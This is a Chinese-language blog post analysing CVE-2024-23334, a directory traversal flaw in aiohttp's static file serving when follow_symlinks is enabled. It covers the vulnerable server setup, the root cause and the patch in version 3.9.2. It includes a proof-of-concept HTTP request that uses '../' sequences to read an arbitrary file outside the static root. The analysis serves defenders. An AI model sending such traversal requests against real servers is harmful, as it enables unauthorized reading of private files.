CVE-2024-23334 AIOHTTP 目錄遍歷漏洞分析

漏洞描述:

aiohttp 是一個用于 asyncio 和 Python 的異步 HTTP 客戶端/服務器框架。使用aiohttp作為Web服務器并配置靜態路由時,需要指定靜態文件的根路徑。此外,選項“follow_symlinks”可用于確定是否遵循靜態根目錄之外的符號鏈接。當“follow_symlinks”設置為 True 時,不會進行驗證來檢查讀取的文件是否位于根目錄內。這可能會導致目錄遍歷漏洞,從而導致對系統上的任意文件進行未經授權的訪問,即使符號鏈接不存在也是如此。鼓勵緩解措施是禁用 follow_symlinks 并使用反向代理。版本 3.9.2 修復了此問題。
在這里插入圖片描述
服務啟動Py文件中有"/static", “static/” 其中一個是涉及現有目錄,沒有自行創建一個,不然可能會報錯

from aiohttp import webasync def index(request):return web.Response(text="Hello, World!")app = web.Application()
app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)if __name__ == '__main__':web.run_app(app, host='127.0.0.1', port=9999)

在這里插入圖片描述

GET /static/../../../../D:\\6666.txt HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

漏洞原因

在使用 aiohttp 作為 Web 服務器時,錯誤配置靜態資源解析可能導致目錄遍歷漏洞,允許攻擊者未經授權讀取系統上的任意文件。該漏洞的根本問題在于靜態路由配置中的 follow_symlinks 選項,當設置為 True 時,可能繞過驗證,使得符號鏈接可以指向根目錄之外的文件,導致安全漏洞。


app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

補丁分析

通過官方項目發布補丁情況

  • 路徑處理邏輯: 使用 normalized_path對未解析的路徑進行規范化處理,消除冗余的分隔符和相對路徑。然后再嘗試將規范化的路徑轉換為相對于指定目錄的相對路徑,最后解析為絕對路徑。
  • 符號鏈接處理: 根據 follow_symlinks
    的設置,決定是否遵循符號鏈接。如果需要遵循,則使用規范化的路徑,否則直接使用未解析的路徑。
  • 異常處理: 在捕獲到可能的異常時,如 ValueErrorFileNotFoundError,同樣觸發了適當的錯誤處理,即拋出 HTTPForbidden 異常。

在這里插入圖片描述

結束語

從啟用 follow_symlinks 選項并且路徑指向符號鏈接時發生目錄遍歷漏洞。通過補丁改進,補丁代碼確保了在處理靜態資源時,即使路徑指向符號鏈接,也能正確地驗證路徑是否在指定的根目錄內,從而防止了目錄遍歷漏洞。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/718501.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/718501.shtml
英文地址,請注明出處:http://en.pswp.cn/news/718501.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

css樣式元素的相對定位,絕對定位,固定定位等元素定位運用技巧詳解

文章目錄 1.相對定位 relative2.絕對定位 absolute3.固定定位4.display 轉換元素5.float浮動6.float產生內容塌陷問題7.overflow CSS樣式學習寶典,關注點贊加收藏,防止迷路哦 在CSS中關于定位的內容是:position:relative | absolute | static…

Unreal觸屏和鼠標控制旋轉沖突問題

Unreal觸屏和鼠標控制旋轉沖突問題 鼠標控制攝像機旋轉添加Input軸計算旋轉角度通過軸事件控制旋轉 問題和原因問題原因 解決辦法增加觸摸控制旋轉代碼觸屏操作下屏蔽鼠標軸響應事件 鼠標控制攝像機旋轉 通過Mouse X和Mouse Y控制攝像機旋轉。 添加Input軸 計算旋轉角度 通過…

SpringBootWeb快速入門

1.創建springboot工程,新建module 2.勾選web開發相關依賴 3.刪除多余文件 4.新建類 5.啟動類中運行main方法 6.啟動 默認端口號8080 7.打開瀏覽器,地址欄輸入 8.報錯 9.原因,控制層位置放錯,剪切controller層放進com.example …

[vue error] TypeError: Components is not a function

問題詳情 問題描述: element plus按需導入后,啟動項目報錯: 問題原因 unplugin-vue-components插件版本問題 查看 unplugin-vue-components插件可以發現版本太高了 問題解決 unplugin-vue-components 版本高了,我用的0.26.0&#xff0c…

AI寫的wordpress網站首頁模板 你覺得怎么樣?

以下是一個AI寫的基本的首頁模板示例&#xff0c;包含您提到的各個模塊。請注意&#xff0c;這只是一個基本框架&#xff0c;您可能需要根據您的具體需求進行進一步的定制和調整。 <!DOCTYPE html> <html <?php language_attributes(); ?>> <head>&…

【STM32+HAL】姿態傳感器陀螺儀MPU6050模塊

一、準備工作 有關OLED屏初始化的問題&#xff0c;詳見【STM32HAL】OLED顯示初始化配置 二、所用工具 1、芯片&#xff1a;STM32F10C8T6 2、CUBEMX配置軟件 3、 6 軸運動處理組件MPU6050 三、實現功能 OLED屏顯示姿態角 四、HAL配置步驟 1、開啟I2C1進行MPU6050通信 2、開…

供應鏈管理(SCM):界面設計全面掃盲,得供應鏈者得天下

大家伙&#xff0c;我是大千UI工場&#xff0c;專注UI分享和項目接單&#xff0c;本期帶來供應鏈系統的設計分享&#xff0c;歡迎大家關注、互動交流。 一、什么是SCM SCM系統是供應鏈管理&#xff08;Supply Chain Management&#xff09;系統的縮寫。供應鏈管理是指協調和管…

計算機視覺 了解OpenCV、COLMAP、PyTorch3D 和 OpenGL 中坐標系3D轉換的簡要指南

一、簡述 由于坐標系不同,在OpenCV、COLMAP、PyTorch3D和OpenGL等 3D 框架的世界中進行轉換可能會令人覺得頭疼。這里比較它們的坐標系并提供它們之間轉換的示例。核心還是找到在這些不同的 3D 環境中無縫工作所需的知識,讓我們以清晰直接的方式探索和理解這些坐標系。 2D 成…

【筆記版】edgecore.yaml分析總結

1. 文件路徑 /etc/kubeedge/config edgecore.yaml是該目錄下唯一的文件 附上鏈接&#xff1a;edgecore.yaml 2. 文件生成方式 2.1 方式一 使用keadm安裝部署的方式&#xff0c;執行完keadm join --cloudcore-ipportcloudcore監聽的IP地址:端口&#xff08;默認為10002&…

題目 1431: 藍橋杯第五屆真題-分糖果

題目描述: 有n個小朋友圍坐成一圈。老師給每個小朋友隨機發偶數個糖果&#xff0c;然后進行下面的游戲&#xff1a; 每個小朋友都把自己的糖果分一半給左手邊的孩子。 一輪分糖后&#xff0c;擁有奇數顆糖的孩子由老師補給1個糖果&#xff0c;從而變成偶數。 反復進行這個游戲…

設計模式精解:GoF 23種設計模式全解析

在軟件工程中&#xff0c;設計模式是為了解決常見的軟件設計問題而形成的一套經典解決方案。這些模式不僅能夠幫助開發者提高設計的靈活性和代碼的重用性&#xff0c;還能使問題的解決方案更加清晰、易于理解。《設計模式精解&#xff0d;GoF 23種設計模式》一書中所列舉的23種…

微信小程序的單位

在小程序開發中&#xff0c;rpx是一種相對長度單位&#xff0c;用于在不同設備上實現自適應布局。它是微信小程序特有的單位&#xff0c;表示屏幕寬度的 1/750。 rpx單位的好處在于可以根據設備的屏幕寬度進行自動換算&#xff0c;使得頁面在不同設備上保持一致的顯示效果。例…

學習筆記 前端

學習筆記 前端 學習記錄nodejsyarn解決方法 學習記錄 nodejs yarn 描述&#xff1a;想體驗一下chatgptnextweb在本地部署&#xff0c;但是本地部署需要yarn環境&#xff0c;網上看了yarn在node16以上就自帶了&#xff0c;而我的電腦是node18&#xff0c;所以就直接輸入了ya…

(十)SpringCloud系列——openfeign的高級特性實戰內容介紹

前言 本節內容主要介紹一下SpringCloud組件中微服務調用組件openfeign的一些高級特性的用法以及一些常用的開發配置&#xff0c;如openfeign的超時控制配置、openfeign的重試機制配置、openfeign集成高級的http客戶端、openfeign的請求與響應壓縮功能&#xff0c;以及如何開啟…

論文閱讀-高效構建檢查點

論文標題&#xff1a;On Efficient Constructions of Checkpoints 摘要 高效構建檢查點/快照是訓練和診斷深度學習模型的關鍵工具。在本文中&#xff0c;我們提出了一種適用于檢查點構建的有損壓縮方案&#xff08;稱為LC-Checkpoint&#xff09;。LC-Checkpoint同時最大化了…

MFC中CString的MakeUpper使用方法

在MFC中&#xff0c;CString類提供了MakeUpper函數來將字符串中的字符全部轉換為大寫。MakeUpper函數沒有參數&#xff0c;它會直接修改原始的CString對象。 下面是一些示例代碼&#xff0c;演示了如何使用MakeUpper函數&#xff1a; CString str "Hello, World!"…

uniapp開發android原生插件

一、下載原生開發SDK Android 離線SDK - 正式版 | uni小程序SDK (dcloud.net.cn)、 https://nativesupport.dcloud.net.cn/AppDocs/download/android.html 將開發uniappa原生android的插件解壓到ben本地目錄&#xff0c;目錄結構如下&#xff1a; 接下就可以使用 UniPlugin-Hel…

【本科組冠名獎】2023年第八屆數維杯數學建模挑戰賽獲獎感言

美國大學生數學建模競賽已結束過半&#xff0c;現在又迎來了2024年第九屆數維杯國賽&#xff0c;準備參加今年數維杯國賽的同學&#xff0c;今天我們一起看看去年優秀的選手都有什么獲獎感言吧~希望能幫到更多熱愛數學建模的同學。據說文末在看點贊的大佬都會直沖國獎呢&#x…

實用Pycharm插件

Pycharm的離線安裝&#xff1a;https://plugins.jetbrains.com/ 需要根據對應的Pycharm/Goland版本選取所需的 對于實用的插件如下&#xff1a; 實時查看每一行的git blame信息&#xff1a; Gittoolbox 轉換IDE的英文為中文&#xff1a;Chinese IDE側格式化json字符串&#…

UE5 C++ TPS開發 學習記錄(八

這一次到了p19 完善了UI和寫了創建房間 MultiPlayerSessionSubsystem.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Subsystems/GameInstanceSubsystem.h" #in…